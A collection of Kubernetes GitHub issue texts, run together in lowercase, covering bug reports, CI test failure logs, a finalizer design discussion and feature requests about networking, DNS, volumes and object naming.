\r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r when creating an ipv6 cluster, the --pod-network-cidr needs to be\r a /66, it cannot be for a larger network  smaller value \r \r   what you expected to happen  :\r should be able to use values smaller then /66, /64 or a /48\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a cluster with kubeadm, and set the podsubnet as below\r networking:\r   podsubnet: \ fd00:1:2:3::/64\ \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r /area ipv6\r 

is this a request for help?   no   what keywords did you search in kubernetes issues before filing this one?    \ kube-proxy --master options\    is this a bug report or feature request?    choose one :bug report  basically there is inconsistency in naming the options in kubernetes binaries to specify the api-server. kubelet accepts --api-servers while kube-proxy and controller-manager accept --master flag while the flag still means the address of the api server. so why not be consistent is specifying the api-server option as --api-servers . this will help alleviate any confusion about what --master option means

there are lots of reasons why the \ system\  wants to look at an object, like a pod, and modify and/or act on it.  there are also a number of places where we can put in \ hooks\  for these actions.  we'll end up with a better system in the long run, i think, if we put some thought into what hooks to use in what situations.       places for hooks 1. kubectl, other clients 2. proxy in front of apiserver 3. apiserver  4. post-apiserver  within apiserver, there are both hardcoded actions on objects, and extensible ones  such as what @derekwaynecarr has implemented with \ admission control\ ,  3472 and  3319 .  the last one is a somewhat new concept, so it deserves a bit of explanation.  after a pod is post'ed to the apiserver, and persisted to etcd, some other component  a different process than apiserver , which is watching for new objects, will see it, and act on it and/or modify it.  it should not start running on a kubelet until all the things that need to act on it have done so.  @smarterclayton called this a \ finalizer\ .  the scheduler can be viewed as a finalizer that takes pods that have everything except a hostip set, and it sets the hostip.      pros/cons of each hook location - kubectl, other clients   - hooks won't be mandatory.  users could just use a different client.     - updating all clients to change behavior is very difficult.   - can interact with users local directory, templates, etc... - proxy   - can be made manadatory,    - may be a pain to setup? - apiserver   - can prevent object from ever being persisted to storage   - currently only place where atomic read-then-write is possible.   - adding an action requires modifying apiserver binary,    - adding an action requires checking in changes to kubernetes project or maintaining a branch. - post-apiserver  finalizer    - easy for users to customize by maintaining their own component, in separate repository if necessary   - can't \ reject\  an object.  hard for user to understand if the post succeeds but the pod never runs.     use cases for hooked actions 1. set default resource limits on pods  2. reject pods with resource limits above or below sane levels.  3057  3. limit aggregate amount of resources used by a tenant, or by objects matching some selector.  3057  4. reject pods with resource limits which are difficult shapes for the system to schedule  e.g. lots of ram and very little cpu or vice versa.  5. prevent creation of too many objects of any kind, either because it is obviously user error, or because it will hurt the system.  3057 6. schedule pods to nodes  the existing scheduler  7. setup network routes for pods  @pmorie working on something like this for openshift, i think  8. custom allocator for ip addresses, vlans, etc   3350   9. something that distributes secrets to nodes via some side channel for the pods to use. 10. pod limit auto-adjuster     which hooks to use for what  suggested guidelines for what hooks to use for what types of actions - prefer in apiserver if need to prevent some object from ever \ executing\    - prefer to say no as early as possible for debugging.   - e.g. resource quotas in apiserver - put it in the apiserver if the act of persisting of the object could be harmful   - protect apiserver storage space   - e.g. object quotas in apiserver - prefer finalizer  outside apiserver  otherwise.    - no need to recompile apiserver or commit to github.     - separation of responsibilities     next steps - debate the above proposal   on finalizers from  3586   read  3585 too.  we should have a general framework for a pod or other object to be post'ed in an incomplete state, and persisted to etcd, and then subsequently to be handled by a series of \ finalizers\  that fill in missing fields.  once all are filled in, the object can be picked up by a kubelet and run.      use cases  use cases for filling in fields in pods after they are stored. - set default resource limits on pods - schedule pods to nodes  the existing scheduler sets the hostip field  - custom allocator for podip addresses  and setup vlans, etc;  3350  - pod limit auto-adjuster.  sets unspecified cpu and memory limits - pod template. a permanently underspecified pod could be a template for a replication controller      availability  availability of the cluster limited by the finalizers, so they need to be replicated.  fortunately, because they typically act on one object at a time, and can use resource versioning, it should be easy to parallelize them.      bootstrapping   there has to be some way to get pods onto minions without waiting for finalizers to act on them, when turning up a cluster, or upgrading a finalizer.  the scheduler is a special case of this.  some options: - allow privileged user to write pods to apiserver with all fields finalized, including hostip, so that kubelets pick them up immediately - talk directly to a particular kubelet an make it start a pod.  we should make kubelets accept pods to run in \ api.pod\  format. - do rolling updates of finalizers wherever possible, so that there is always at least one good one around to help out.       state and sequence - what phase/condition/reason pods have are in as they work their way through finalizers - sequencing and composing multiple finalizers; how finalizer knows when it is its turn to act.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1.3-container_vm-1.5-upgrade-cluster/15/  multiple broken tests:  failed: diffresources {e2e.go}      error: 18 leaked resources +name                                     machine_type   preemptible  creation_timestamp +gke-bootstrap-e2e-default-pool-feea928c  n1-standard-2               2016-12-07t12:31:10.752-08:00 +name                                         location       scope  network        managed  instances +gke-bootstrap-e2e-default-pool-ad34b78b-grp  us-central1-a  zone   bootstrap-e2e  yes      3 +name                                          zone           machine_type   preemptible  internal_ip  external_ip      status +gke-bootstrap-e2e-default-pool-ad34b78b-j2mc  us-central1-a  n1-standard-2               10.240.0.3   130.211.218.126  running +gke-bootstrap-e2e-default-pool-ad34b78b-t8nv  us-central1-a  n1-standard-2               10.240.0.2   35.184.79.237    running +gke-bootstrap-e2e-default-pool-ad34b78b-viv3  us-central1-a  n1-standard-2               10.240.0.4   104.198.242.18   running +name                                          zone           size_gb  type         status +gke-bootstrap-e2e-default-pool-ad34b78b-j2mc  us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-default-pool-ad34b78b-t8nv  us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-default-pool-ad34b78b-viv3  us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-21ab91fb-1846c9ea-bcbd-11e6-be1a-42010af00036  bootstrap-e2e  10.96.3.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-ad34b78b-j2mc  1000 +gke-bootstrap-e2e-21ab91fb-b0e0315d-bcd8-11e6-be1a-42010af00036  bootstrap-e2e  10.96.5.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-ad34b78b-viv3  1000 +gke-bootstrap-e2e-21ab91fb-cce18f20-bcbd-11e6-be1a-42010af00036  bootstrap-e2e  10.96.4.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-ad34b78b-t8nv  1000 +gke-bootstrap-e2e-21ab91fb-all           bootstrap-e2e  10.96.0.0/14        tcp,udp,icmp,esp,ah,sctp +gke-bootstrap-e2e-21ab91fb-ssh           bootstrap-e2e  104.154.136.185/32  tcp:22                                  gke-bootstrap-e2e-21ab91fb-node +gke-bootstrap-e2e-21ab91fb-vms           bootstrap-e2e  10.240.0.0/16       tcp:1-65535,udp:1-65535,icmp            gke-bootstrap-e2e-21ab91fb-node     issues about this test specifically:  33373  33416  34060   failed: deferred teardown {e2e.go}      terminate testing after 15m after 10h0m0s timeout during teardown     issues about this test specifically:  35658   failed: dumpclusterlogs {e2e.go}      terminate testing after 15m after 10h0m0s timeout during dump cluster logs     issues about this test specifically:  33722  37578  37974  38206   failed: teardown {e2e.go}      terminate testing after 15m after 10h0m0s timeout during teardown     issues about this test specifically:  34118  34795  37058  38207

http://gcsweb.k8s.io/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial-release-1.6/3\r \r failed:  k8s.io  daemon set  serial  should update pod when spec was updated and update strategy is rollingupdate 5m26s\r    \r error waiting for daemon pod to start\r expected error:\r     < errors.errorstring | 0xc4203a2600>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:274\r

user api server  as  becomes the more sophisticated alternative to tprs.\r \r while looking at the  example  https://github.com/kubernetes/sample-apiserver/blob/master/pkg/registry/wardle/etcd.go  we noticed that etcd was used as a backing store.\r \r now, it would be very convenient for plain tprs could be used for storing the uas data.\r it would effectively allow us to stay within the boundaries of k8s, and not worry about coming up with our own etcd cluster or another storage method.\r \r thus my request boils down to having a simple way of using cdrs as storage for uas.

the deprecated flags are documented  here  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/kubelet-eviction.md deprecation-of-existing-features .\r -  x   1.6:  41941 depreciate the  --low-diskspace-threshold-mb  and  --outofdisk-transition-frequency  kubelet flags.\r -  x   1.7:  46448 set the default for  --low-diskspace-threshold-mb  to 0, which causes the outofdisk condition to never trigger.\r -  x   1.7  publicly publish a notification for the removal of these flags and the outofdisk condition to kubernetes-dev@googlegroups.com\r -  x   1.8:  48846 remove  --low-diskspace-threshold-mb  and  --outofdisk-transition-frequency  kubelet flags, and the kubelet disk manager.\r -  x   1.8: remove all component references to the outofdisk condition\r -      1.10+: remove kubelet generation of the outofdisk condition

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r   what happened  :\r \r start kube-proxy with \ --metrics-bind-address=0.0.0.0:10249\  return: \r error: invalid argument \ 0.0.0.0:10249\  for \ --metrics-bind-address\  flag: \ 0.0.0.0:10249\  is not a valid ip address\r and with \ --metrics-bind-address=0.0.0.0\  return:\r server.go:358  failed validate: kubeproxyconfiguration.metricsbindaddress: invalid value: \ 0.0.0.0\ : must be ip:port\r \r   what you expected to happen  :\r \r the default metrics-bind-address is \ 127.0.0.1:10249\ , i expected to change it with \ --metrics-bind-address=0.0.0.0:10249\ \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  : we have a 3 master node setup with 2 coredns pods  default setup . in case of a single node failure  killing the node that hosted one of the coredns pods  dns resolve stops working for 5 minutes. after the failed node reports 'notready', the coredns still reports happy, and after 5mins the pod re-created. i fixed that pod re-creation issue with adding the following tolarations to coredns deployment:\r  \r       - key: \ node.kubernetes.io/unreachable\ \r         operator: \ exists\ \r         effect: \ noexecute\ \r         tolerationseconds: 0\r       - key: \ node.kubernetes.io/not-ready\ \r         operator: \ exists\ \r         effect: \ noexecute\ \r         tolerationseconds: 0\r  \r after the tolerations modification dns resolve still not works as expected: if the node reports 'notready', the coredns pod re-creates immediately, but dns resolve still not works for 5 minutes.\r other user pods reports: 'bad address' and 'cannot assign requested address' exceptions.\r \r   what you expected to happen  : after node failure  that hosted one of the coredns pods  a new pod should be created immediately  this is solved , and dns resolve should working within a few seconds instead of 5 minutes.\r \r   how to reproduce it  as minimally and precisely as possible   : build up a 3 master node system. remove the power cord from the machine that holds the master core-dns pod.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration: v1.13.5\r - os  e.g:  cat /etc/os-release  : ubuntu 16.04.4 lts\r - kernel  e.g.  uname -a  : linux hi3 4.4.0-116-generic  140-ubuntu smp mon feb 12 21:23:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadmin\r - network plugin and version  if this is a network-related bug : weave-net\r - others:  coredns-1.2.6\r

https://github.com/kubernetes/kubernetes/tree/master/examples/redis  i run  kubectl create -f examples/redis/redis-master.yaml   then  kubectl get pods  gives:      name           ready     status             restarts   age redis-master   0/2       imagepullbackoff   0          44s      could it be because  redis-master.yaml  has  image: kubernetes/redis:v2  which doesn't exists in  https://hub.docker.com/r/kubernetes/redis/tags/ ?

when a vm is reported as no longer present in cloud provider and is deleted by node controller, there are no attempts to detach respective volumes.  for example, if a vm is powered off or paused, and pods are migrated to other nodes.  in the case of vsphere, the vm cannot be started again because the vm still holds mount points to volumes that are now mounted to other vms.    in order to re-join this node again, you will have to manually detach these volumes from the powered off vm before starting it.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.823+a57c33bd281732-dirty\ , gitcommit:\ a57c33bd2817323806b97da5c2f848108f7403d8\ , gittreestate:\ dirty\ , builddate:\ 2017-06-19t08:18:23z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.823+a57c33bd281732-dirty\ , gitcommit:\ a57c33bd2817323806b97da5c2f848108f7403d8\ , gittreestate:\ dirty\ , builddate:\ 2017-06-19t08:18:23z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   what happened  :\r    \r ./cluster/kubectl.sh set selector service my-svc 'environment=qa'             \r error: you must provide one or more resources by argument or filename.\r example resource specifications include:\r    '-f rsrc.yaml'\r    '--filename=rsrc.json'\r    '<resource> <name>'\r    '<resource>'\r    \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r 

failure cluster  d4971751bc5fd5c1cd11  https://go.k8s.io/triage d4971751bc5fd5c1cd11        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:59 jun 25 17:04:30.595: failed to find expected endpoints: tries 0 command echo 'hostname' | timeout -t 2 nc -w 1 -u 10.100.2.143 8081 retrieved map   expected map netserver-1:{}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:273           failure cluster statistics: 1 tests failed,    13 jobs failed,    160 builds failed. failure stats cover 1 day time range '30 jun 2017 22:23 utc' to '1 jul 2017 22:23 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  | 13 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-updown | 33 |  1 jul 2017 21:38 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-updown/23192  | | ci-kubernetes-e2e-gci-gke-updown | 32 |  1 jul 2017 21:41 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-updown/20701  | | ci-kubernetes-e2e-gke | 21 |  1 jul 2017 21:12 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke/11731  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | wojtek-t |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  | | sig/network |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  |  </details><br>   current status  https://go.k8s.io/triage d4971751bc5fd5c1cd11

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r \r \r   what happened  :\r some code like  os.executable  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/plugins/env.go l78  and  sort.slicestable  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/util/strategicpatch/patch.go l520  was added in  golang 1.8  https://golang.org/doc/go1.8 .\r \r but  here  https://github.com/kubernetes/kubernetes/blob/master/hack/lib/golang.sh l332   we only check if golang version is 1.6 or greater.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   /area workload-api\r \r in apps/v1beta2, we need to change the statefulset observedgeneration from a pointer to an int for consistency as listed in  49135.\r \r /cc @janetkuo @kow3ns\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r    \r admindemacbook-pro-2:kubectl admin$ ./kubectl set image daemonset test  =nginx:1.9.0\r daemonset \ test\  image updated\r admindemacbook-pro-2:kubectl admin$ ./kubectl set image daemonset test  =nginx:1.9.0\r error: daemonsets/test no kind \ daemonset\  is registered for version \ apps/v1beta1\ \r    \r and i found error in    return runtime.encode o.encoder, info.object    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : i use laster master kubectl\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  / \r   what happened  :\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/28\r \r    \r  sig-cli  kubectl client  k8s.io  update demo should create and stop a replication controller  conformance  1m37s\r go run hack/e2e.go -v -test --test_args='--ginkgo.focus=\\ sig\\-cli\\ \\skubectl\\sclient\\s\\ k8s\\.io\\ \\supdate\\sdemo\\sshould\\screate\\sand\\sstop\\sa\\sreplication\\scontroller\\s\\s\\ conformance\\ $'\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:647\r expected error:\r     <exec.codeexiterror>: {\r         err: {\r             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.196.181.1 --kubeconfig=/workspace/.kube/config get pods update-demo-nautilus-874l7 -o template --template={{if  exists . \\\ status\\\  \\\ containerstatuses\\\  }}{{range .status.containerstatuses}}{{if  and  eq .name \\\ update-demo\\\    exists . \\\ state\\\  \\\ running\\\   }}true{{end}}{{end}}{{end}} --namespace=e2e-tests-kubectl-mzjqk      <nil>  unable to connect to the server: net/http: tls handshake timeout\     <nil> 0xc43e12e960 exit status 1 <nil> <nil> true  0xc42d1f8038 0xc42d1f8050 0xc42d1f8070   0xc42d1f8038 0xc42d1f8050 0xc42d1f8070   0xc42d1f8048 0xc42d1f8068   0x999d80 0x999d80  0xc420a3e180 <nil>}:\ command stdout:\ \ stderr:\ unable to connect to the server: net/http: tls handshake timeout\ \ error:\ exit status 1\ \ ,\r         },\r         code: 1,\r     }\r     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.196.181.1 --kubeconfig=/workspace/.kube/config get pods update-demo-nautilus-874l7 -o template --template={{if  exists . \ status\  \ containerstatuses\  }}{{range .status.containerstatuses}}{{if  and  eq .name \ update-demo\    exists . \ state\  \ running\   }}true{{end}}{{end}}{{end}} --namespace=e2e-tests-kubectl-mzjqk      <nil>  unable to connect to the server: net/http: tls handshake timeout\r         <nil> 0xc43e12e960 exit status 1 <nil> <nil> true  0xc42d1f8038 0xc42d1f8050 0xc42d1f8070   0xc42d1f8038 0xc42d1f8050 0xc42d1f8070   0xc42d1f8048 0xc42d1f8068   0x999d80 0x999d80  0xc420a3e180 <nil>}:\r     command stdout:\r     \r     stderr:\r     unable to connect to the server: net/http: tls handshake timeout\r     \r     error:\r     exit status 1\r     \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2094\r \t\t\t\t\r    \r @kubernetes/sig-cli-bugs please investigate asap. this is a release-blocking test group.

version: v1.10.0-alpha.0-469-g6b1b6d504a\r \r when you create statefulset and restart statefulset controller, while it's starting it will create multiple controllerrevisions. see https://github.com/openshift/origin/issues/17435 issuecomment-346499744\r \r i've traced this to a  recent change adding collision avoidance  https://github.com/kubernetes/kubernetes/pull/50490  which made newrevision not re-entrant anymore and uncovered bug where statefulset controller doesn't wait on syncing revision informer.\r \r  /cc @smarterclayton @kow3ns @enisoc @liyinan926\r \r --\r i need to verify the rest next week but i suspect collision avoidance will be problematic in cases of picking up objects from queue multiple times before changes propagate to the informer - that probably needs expectations or revert. also for cases of rollback  i am not sure if we support it yet or not  it wouldn't work probably either because if the collisioncount would be different, the hash for controllerrevision being rollbacked to would differ too.

  marking as a bug but if someone thinks it's more a feature request feel free to retag! \r \r \r   what happened  :\r when deploying objects, there is a lack of consistency between what names are allowed, specifically with regards to fqdn type names. secrets and configmaps and ingresses are fine, but deployments and services throw errors if you try.\r \r   what you expected to happen  :\r for the rules of what you can name objects to be consistent across types\r \r   how to reproduce it  as minimally and precisely as possible   :\r some example kubectl commands:\r \r secret:\r    \r   kubectl create secret generic example.com\r secret \ example.com\  created\r    \r \r configmap: \r    \r   kubectl create configmap example.com\r configmap \ example.com\  created\r    \r \r deployment:\r    \r   kubectl run example.com --image=nginx\r the deployment \ example.com\  is invalid: spec.template.spec.containers 0 .name: invalid value: \ example.com\ : a dns-1123 label must consist of lower case alphanumeric characters or '-', and must start and end with an alphanumeric character  e.g. 'my-name',  or '123-abc', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ?' \r    \r service:\r    \r   kubectl create service clusterip example.com --clusterip=\ none\ \r the service \ example.com\  is invalid: metadata.name: invalid value: \ example.com\ : a dns-1035 label must consist of lower case alphanumeric characters or '-', start with an alphabetic character, and end with an alphanumeric character  e.g. 'my-name',  or 'abc-123', regex used for validation is ' a-z   -a-z0-9   a-z0-9  ?' \r    \r \r   environment  :\r - kubernetes version: 1.9.6\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 4.15.5\r - install tools: kubeadm\r

anyone itching to understand the code and try fixing things in kubernetes, please help fixing the lint failures\r \r step 1: remove one or two packages  related packages  from the list in - https://github.com/kubernetes/kubernetes/blame/master/hack/.golint_failures\r step 2: run  hack/verify-golint.sh  and look at the logged errors\r step 3: fix the code to ensure that  hack/verify-golint.sh  runs cleanly.\r step 4: run  hack/update-bazel.sh  and  hack/update-gofmt.sh  to make sure we fix any problems with gofmt or bazel.\r step 5: file a pr with the change\r step 6: go to step  1 : \r \r please use the tracking spreadsheet  here  https://docs.google.com/spreadsheets/d/1vhu6zck-vaanbu_xkgsiq5i7jvnezuquwbmhcin6ajm/edit gid=0  for everyone who is going to contribute, \r - please append the packages you picked at the end.\r - for existing contributor, please make sure this list is update to date\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : gce-scale-correctness\r \r   which test s  are failing  : timeout\r \r   since when has it been failing  : 02-28-2019\r \r   testgrid link  : https://k8s-testgrid.appspot.com/sig-scalability-gce gce-scale-correctness\r \r   reason for failure  : tests started to time out\r \r   anything else we need to know  :\r it might be related to https://github.com/kubernetes/test-infra/issues/11594\r

see log here: https://gist.github.com/sebv/914c9b73b48e4542bfeb , the symlink to /mnt/ephemeral/docker/containers is not valid within container.  this is a new issue on 1.1  it's working on 1.0.7   on the node:      ubuntu@ip-172-20-0-155:~$ sudo ls -l /var/log/containers total 80 lrwxrwxrwx 1 root root 171 nov 23 21:24 elasticsearch-logging-v1-4yjm2_kube-system_elasticsearch-logging-b475872a10ac01e5fd94934a0860996db9611bfeeff74970ef14e4537beda041.log -> /mnt/ephemeral/docker/containers/b475872a10ac01e5fd94934a0860996db9611bfeeff74970ef14e4537beda041/b475872a10ac01e5fd94934a0860996db9611bfeeff74970ef14e4537beda041-json.log      my version:        ~  kubectl version client version: version.info{major:\ 1\ , minor:\ 0+\ , gitversion:\ v1.0.8-beta.3+27719743e6b69e\ , gitcommit:\ 27719743e6b69e9526d5133b6d6b71cc6f1024c2\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.1\ , gitcommit:\ 92635e23dfafb2ddc828c8ac6c03c7a7205a84d8\ , gittreestate:\ clean\ }

@saad-ali @matchstick  from issue  29903, i noticed that under attachdetach controller, reconciler keeps updating node status every 100ms. in some cases, the node no longer exists but reconciler still has a stale cache information of it. the error message quickly flush the kube-controller-manager's log.  1. quick fix: lower the level of this log so by default it won't show up 2. right fix: have a good comprehensive understanding of all scenarios especially when certain components in the system fail/exit, how the volume manager should react/recover from them.   related code and pr: https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/attachdetach/reconciler/reconciler.go l104 https://github.com/kubernetes/kubernetes/issues/29358 https://github.com/kubernetes/kubernetes/pull/30737

from the logs it looks like our upgrade tests are first coming up with a 1.3 cluster, running the first test, upgrading to 1.4 master, running all other tests.   eg picked a random green run from: https://k8s-testgrid.appspot.com/google-1.3-1.4-upgrade gke-gci-1.3-cvm-1.4-upgrade-master  in the logs:      client version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.0-beta.7\ ,  gitcommit:\ 83f83ea41e72eeddc58f70f1ec77435ea1739140\ , gittreestate:\ clean\ ,  builddate:\ 2016-09-17t22:40:38z\ , goversion:\ go1.6.3\ , compiler:\ gc\ ,  platform:\ linux/amd64\ }  server version: version.info{major:\ 1\ , minor:\ 3+\ , gitversion: \ v1.3.8-beta.0.13+a481aede9a76b1\ ,  gitcommit:\ a481aede9a76b147f41c491824be5bea6804fed3\ ,  gittreestate:\ clean\ , builddate:\ 2016-09-17t16:44:35z\ ,  goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }      then we wait for addons followed by the first test      ------------------------------  k8s.io  upgrade  feature:upgrade   k8s.io  master upgrade    should maintain responsive services  feature:masterupgrade    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:53  beforeeach   k8s.io  upgrade  feature:upgrade    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:133 step: creating a kubernetes client sep 18 05:36:55.295: info: >>> kubeconfig: /workspace/.kube/config      which runs the actual test, and then the disruption event which upgrades      sep 18 05:37:46.325: info: version for \ ci/latest-1.4\  is \ v1.4.0-beta.7\ \  sep 18 05:37:46.326: info: upgrading master to \ 1.4.0-beta.7\  sep 18 05:37:46.326: info: running gcloud  container clusters --project=gke-up-g1-3-c1-4-up-mas --zone=us-central1-c upgrade jenkins-e2e --master --cluster-version=1.4.0-beta.7 --quiet   ...  step: hitting the pod through the service's loadbalancer sep 18 05:40:51.951: info: testing http reachability of http://104.155.133.227:80/echo?msg=hello   upgrading jenkins-e2e...done. updated  https://test-container.sandbox.googleapis.com/projects/gke-up-g1-3-c1-4-up-mas/zones/us-central1-c/clusters/jenkins-e2e . step: hitting the pod through the service's loadbalancer sep 18 05:40:53.956: info: testing http reachability of http://104.155.133.227:80/echo?msg=hello sep 18 05:40:54.158: info: checking master version sep 18 05:40:54.247: info: master is at version 1.4.0-beta.7 step: disruption complete; stopping async validations      then all subsequent tests start with 1.4.  if this is right, i don't understand why we need to run that first test in 1.3?  we should do something consistent, either disrupt all tests with the upgrade, or none.  @kubernetes/sig-testing

kubernetes version    use  kubectl version  : 1.4  client and server       client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 201 6-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 201 6-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }         environment  : -   cloud provider or hardware configuration  : gke    what happened  : doesn't show an error but only keeps   one   of the volumes mount when the same volume is mounted multiple times  with different  mountpath  and  subpath  .    what you expected to happen  : should work  that's the main reason to have  subpath   or at least fail with an error.    how to reproduce it    as minimally and precisely as possible : yaml:           volumemounts:         - name: che-vol           mountpath: /home/user/che/workspaces           subpath: workspaces         - name: che-vol           mountpath: /home/user/che/storage           subpath: storage        anything else do we need to know  : trying here to mount a gke disk, so cannot reference that volume twice.

